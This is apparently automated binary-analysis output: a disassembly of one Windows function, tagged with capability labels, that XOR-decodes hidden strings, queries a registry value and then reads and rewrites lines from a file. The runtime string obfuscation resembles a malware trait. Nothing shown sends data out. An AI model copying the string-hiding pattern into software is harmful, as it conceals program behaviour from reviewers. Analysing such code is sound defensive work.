Function at 0x461b60
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd3d3
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x318
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, edx
mov esi, ecx
mov eax, dword [ebx + 8]
xor ecx, ecx
mov dword [ebp - 4], 0
movaps xmm0, xmmword [str._vjcqrdw_yrjr]
movups xmmword [ebp - 0x328], xmm0
mov dword [ebp - 0x2ec], eax
movaps xmm0, xmmword [0x500110]
movups xmmword [ebp - 0x318], xmm0
mov dword [ebp - 0x2f8], 0x5564440
movaps xmm0, xmmword [0x5008d0]
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f4], 0x79494964
mov dword [ebp - 0x2f0], 0x130b14
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x328]
xor byte [ebp + ecx - 0x327], al
inc ecx
cmp ecx, 0x3a
jb 0x461c10
xorps xmm0, xmm0
mov byte [ebp - 0x2ed], 0
lea ecx, [ebp - 0x327]
mov dword [ebp - 0x1ec], 0
movups xmmword [ebp - 0x1fc], xmm0
mov dword [ebp - 0x1e8], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461c51
sub ecx, edx
lea eax, [ebp - 0x327]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.0045c380
mov byte [ebp - 4], 1
xor ecx, ecx
movaps xmm0, xmmword [0x4ff060]
movups xmmword [ebp - 0x2d8], xmm0
mov word [ebp - 0x2c8], 0xf0e
mov byte [ebp - 0x2c6], 0
mov al, byte [ebp - 0x2d8]
xor byte [ebp + ecx - 0x2d7], al
inc ecx
cmp ecx, 0x11
jb 0x461c91
xorps xmm0, xmm0
mov byte [ebp - 0x2c6], 0
lea ecx, [ebp - 0x2d7]
mov dword [ebp - 0x188], 0
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x184], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461cd2
sub ecx, edx
lea eax, [ebp - 0x2d7]
push ecx
push eax
lea ecx, [ebp - 0x198]
call fcn.0045c380
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2bc]
cmp dword [ebp - 0x1e8], 0xf
lea eax, [ebp - 0x1fc]
push ecx
cmova eax, dword [ebp - 0x1fc]
push 0x20019
push 0
push eax
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x1b4], 0x100
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x462920
cmp dword [ebp - 0x184], 0xf
lea ecx, [ebp - 0x1b4]
push ecx
lea ecx, [ebp - 0x120]
push ecx
push 0
lea eax, [ebp - 0x198]
cmova eax, dword [ebp - 0x198]
push 0
push eax
push dword [ebp - 0x2bc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x462914
movaps xmm0, xmmword [str.s__2_]
xor ecx, ecx
movups xmmword [ebp - 0x2e0], xmm0
mov dword [ebp - 0x2d0], 0x1d1c1016
mov dword [ebp - 0x2cc], 0x5d141a15
mov dword [ebp - 0x2c8], 0x1f1e0b
nop dword [eax + eax]
mov al, byte [ebp - 0x2e0]
xor byte [ebp + ecx - 0x2df], al
inc ecx
cmp ecx, 0x1a
jb 0x461da0
xorps xmm0, xmm0
mov byte [ebp - 0x2c5], 0
lea ecx, [ebp - 0x2df]
mov dword [ebp - 0x1d4], 0
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d0], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461de1
sub ecx, edx
lea eax, [ebp - 0x2df]
push ecx
push eax
lea ecx, [ebp - 0x1e4]
call fcn.0045c380
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 3
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461e10
sub ecx, edx
mov eax, bind
mov edx, dword [ebp - 0x1d4]
sub eax, edx
cmp eax, ecx
jb 0x4629db
cmp dword [ebp - 0x1d0], 0xf
lea eax, [ebp - 0x1e4]
push edx
cmova eax, dword [ebp - 0x1e4]
push eax
push ecx
lea eax, [ebp - 0x120]
push eax
push ecx
push dword [ebp - 0x2ec]
lea ecx, [ebp - 0x1b0]
call fcn.0045c7f0
xorps xmm0, xmm0
mov dword [ebp - 0x128], 0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
push esi
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 6
call fcn.0045bc70
push edi
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 7
call fcn.0045bc70
push 0xb8
lea eax, [ebp - 0x2b8]
mov byte [ebp - 4], 8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x19c], 0xf
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0x2b8]
cmova eax, dword [ebp - 0x1b0]
push eax
call fcn.00481e50
mov eax, dword [ebp - 0x2b8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2bc], eax
mov byte [ebp - 4], 9
cmp dword [ebp - 0x25c], 0
je 0x46277d
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x2b8]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
push eax
lea edx, [ebp - 0x138]
lea ecx, [ebp - 0x2b8]
call fcn.004865d0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x462755
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x461f8d
mov eax, dword [esi]
push dword [esi + 0x10]
cmp dword [ebp - 0x124], 0xf
lea ecx, [ebp - 0x138]
mov edx, dword [ebp - 0x128]
cmova ecx, dword [ebp - 0x138]
push eax
push 0
call fcn.0045c260
add esp, 0xc
cmp eax, 0xffffffff
je 0x461f40
mov al, 3
mov byte [ebp - 0x2d0], 0x23
mov ah, al
mov byte [ebp - 0x2c7], 0
mov cl, al
mov byte [ebp - 0x2be], ah
xor cl, byte [ebp - 0x2d0]
mov dl, al
xor al, byte [ebp - 0x2d0]
mov ch, ah
mov byte [ebp - 0x2cf], al
mov dh, ah
mov al, byte [ebp - 0x2be]
xorps xmm0, xmm0
mov byte [ebp - 0x2ce], cl
mov cl, byte [ebp - 0x2d0]
xor al, cl
mov byte [ebp - 0x2bd], ah
xor dl, cl
mov byte [ebp - 0x2c9], al
mov al, byte [ebp - 0x2bd]
xor ch, cl
xor dh, cl
mov byte [ebp - 0x2cb], ch
xor ah, cl
mov byte [ebp - 0x2cd], dl
xor al, cl
mov byte [ebp - 0x2ca], dh
lea ecx, [ebp - 0x2cf]
mov byte [ebp - 0x2cc], ah
mov byte [ebp - 0x2c8], al
lea edx, [ecx + 1]
mov byte [ebp - 0x2c7], 0
movups xmmword [ebp - 0x1cc], xmm0
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462068
sub ecx, edx
lea eax, [ebp - 0x2cf]
push ecx
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0045c380
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0xf
lea edx, [ebp - 0x138]
mov esi, dword [ebp - 0x170]
cmova ecx, dword [ebp - 0x180]
cmp dword [ebp - 0x124], 0xf
mov eax, dword [ebp - 0x128]
cmova edx, dword [ebp - 0x138]
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2c4], edx
cmp esi, eax
ja 0x46219f
sub eax, esi
test esi, esi
jne 0x4620dd
xor edi, edi
jmp 0x4621a2
mov cl, byte [ecx]
inc eax
add eax, edx
mov byte [ebp - 0x2bd], cl
mov dword [ebp - 0x2e8], eax
sub eax, edx
push eax
movsx eax, cl
push eax
push edx
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x46219f
nop dword [eax + eax]
mov edx, dword [ebp - 0x2e4]
mov ecx, edi
sub esi, 4
jb 0x462131
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x462136
add ecx, 4
add edx, 4
sub esi, 4
jae 0x462120
cmp esi, 0xfffffffc
je 0x46216a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x462163
cmp esi, 0xfffffffd
je 0x46216a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x462163
cmp esi, 0xfffffffe
je 0x46216a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x462163
cmp esi, 0xffffffff
je 0x46216a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x46216a
sbb eax, eax
or eax, 1
jmp 0x46216c
xor eax, eax
test eax, eax
je 0x46222e
mov eax, dword [ebp - 0x2e8]
inc edi
sub eax, edi
push eax
movsx eax, byte [ebp - 0x2bd]
push eax
push edi
call sub.VCRUNTIME140.dll_memchr
mov esi, dword [ebp - 0x170]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x462110
or edi, 0xffffffff
push 0
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x138]
push edi
call fcn.0045e940
lea ecx, [ebp - 0x150]
cmp ecx, eax
je 0x4621d9
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x4621cc
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.0045bdb0
cmp dword [ebp - 0x154], 0xf
lea ecx, [ebp - 0x168]
mov esi, dword [ebp - 0x158]
lea edx, [ebp - 0x138]
cmova ecx, dword [ebp - 0x168]
cmp dword [ebp - 0x124], 0xf
mov eax, dword [ebp - 0x128]
cmova edx, dword [ebp - 0x138]
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2e4], edx
cmp esi, eax
ja 0x4622f0
sub eax, esi
test esi, esi
jne 0x462239
xor edi, edi
jmp 0x4622f3
sub edi, dword [ebp - 0x2c4]
jmp 0x4621a2
mov cl, byte [ecx]
inc eax
add eax, edx
mov byte [ebp - 0x2bd], cl
mov dword [ebp - 0x2e8], eax
sub eax, edx
push eax
movsx eax, cl
push eax
push edx
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4622f0
mov edx, dword [ebp - 0x2c4]
mov ecx, edi
sub esi, 4
jb 0x462282
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x462287
add ecx, 4
add edx, 4
sub esi, 4
jae 0x462271
cmp esi, 0xfffffffc
je 0x4622bb
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4622b4
cmp esi, 0xfffffffd
je 0x4622bb
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4622b4
cmp esi, 0xfffffffe
je 0x4622bb
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4622b4
cmp esi, 0xffffffff
je 0x4622bb
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4622bb
sbb eax, eax
or eax, 1
jmp 0x4622bd
xor eax, eax
test eax, eax
je 0x46237f
mov eax, dword [ebp - 0x2e8]
inc edi
sub eax, edi
push eax
movsx eax, byte [ebp - 0x2bd]
push eax
push edi
call sub.VCRUNTIME140.dll_memchr
mov esi, dword [ebp - 0x158]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x462264
or edi, 0xffffffff
push 0
push ecx
push dword [ebp - 0x158]
lea ecx, [ebp - 0x138]
push edi
call fcn.0045e940
lea ecx, [ebp - 0x150]
cmp ecx, eax
je 0x46232a
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x46231d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.0045bdb0
cmp dword [ebp - 0x1b8], 0xf
lea ecx, [ebp - 0x1cc]
mov esi, dword [ebp - 0x1bc]
lea edx, [ebp - 0x138]
cmova ecx, dword [ebp - 0x1cc]
cmp dword [ebp - 0x124], 0xf
mov eax, dword [ebp - 0x128]
cmova edx, dword [ebp - 0x138]
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2e4], edx
cmp esi, eax
ja 0x462441
sub eax, esi
test esi, esi
jne 0x46238a
xor edi, edi
jmp 0x462444
sub edi, dword [ebp - 0x2e4]
jmp 0x4622f3
mov cl, byte [ecx]
inc eax
add eax, edx
mov byte [ebp - 0x2bd], cl
mov dword [ebp - 0x2e8], eax
sub eax, edx
push eax
movsx eax, cl
push eax
push edx
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x462441
mov edx, dword [ebp - 0x2c4]
mov ecx, edi
sub esi, 4
jb 0x4623d3
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4623d8
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4623c2
cmp esi, 0xfffffffc
je 0x46240c
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x462405
cmp esi, 0xfffffffd
je 0x46240c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x462405
cmp esi, 0xfffffffe
je 0x46240c
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x462405
cmp esi, 0xffffffff
je 0x46240c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x46240c
sbb eax, eax
or eax, 1
jmp 0x46240e
xor eax, eax
test eax, eax
je 0x46274a
mov eax, dword [ebp - 0x2e8]
inc edi
sub eax, edi
push eax
movsx eax, byte [ebp - 0x2bd]
push eax
push edi
call sub.VCRUNTIME140.dll_memchr
mov esi, dword [ebp - 0x1bc]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4623b5
or edi, 0xffffffff
push 0
push ecx
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x138]
push edi
call fcn.0045e940
lea ecx, [ebp - 0x150]
cmp ecx, eax
je 0x46247b
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x46246e
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.0045bdb0
mov ecx, dword [ebp - 0x2ec]
lea eax, [ebp - 0x150]
cmp ecx, eax
je 0x4624a5
cmp dword [ebp - 0x13c], 0xf
push dword [ebp - 0x140]
cmova eax, dword [ebp - 0x150]
push eax
call fcn.0045bdb0
mov eax, dword [ebp - 0x1b8]
cmp eax, 0xf
jbe 0x4624e1
mov edx, dword [ebp - 0x1cc]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4624d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
lea ecx, [ebp - 0x2b8]
call fcn.0045fda0
mov ecx, dword [ebp - 0x154]
cmp ecx, 0xf
jbe 0x462526
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46251c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
cmp ecx, 0xf
jbe 0x46257b
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462571
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
cmp ecx, 0xf
jbe 0x4625d0
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4625c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x46260a
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462600
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp ecx, 0xf
jbe 0x46265f
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462655
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp ecx, 0xf
jbe 0x4626b4
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4626aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x184]
cmp ecx, 0xf
jbe 0x4626ee
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4626e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
cmp ecx, 0xf
jbe 0x462743
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462739
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov al, 1
jmp 0x4629bd
sub edi, dword [ebp - 0x2e4]
jmp 0x462444
lea ecx, [ebp - 0x2a8]
call fcn.00483d00
test eax, eax
jne 0x46277d
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x2b8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x2b8]
call fcn.0045fda0
mov ecx, dword [ebp - 0x154]
cmp ecx, 0xf
jbe 0x4627c2
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4627b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
cmp ecx, 0xf
jbe 0x462817
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46280d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
cmp ecx, 0xf
jbe 0x46286c
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x462862
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp ecx, 0xf
jbe 0x4628bd
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4628b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462904
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp ecx, 0xf
jbe 0x462914
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46290a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x46290a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
push dword [ebp - 0x2bc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x184]
cmp ecx, 0xf
jbe 0x462956
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46294c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46299d
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
cmp ecx, 0xf
jbe 0x4629bd
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4629a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4629a3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
jmp 0x4629bd
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00441cb0
int3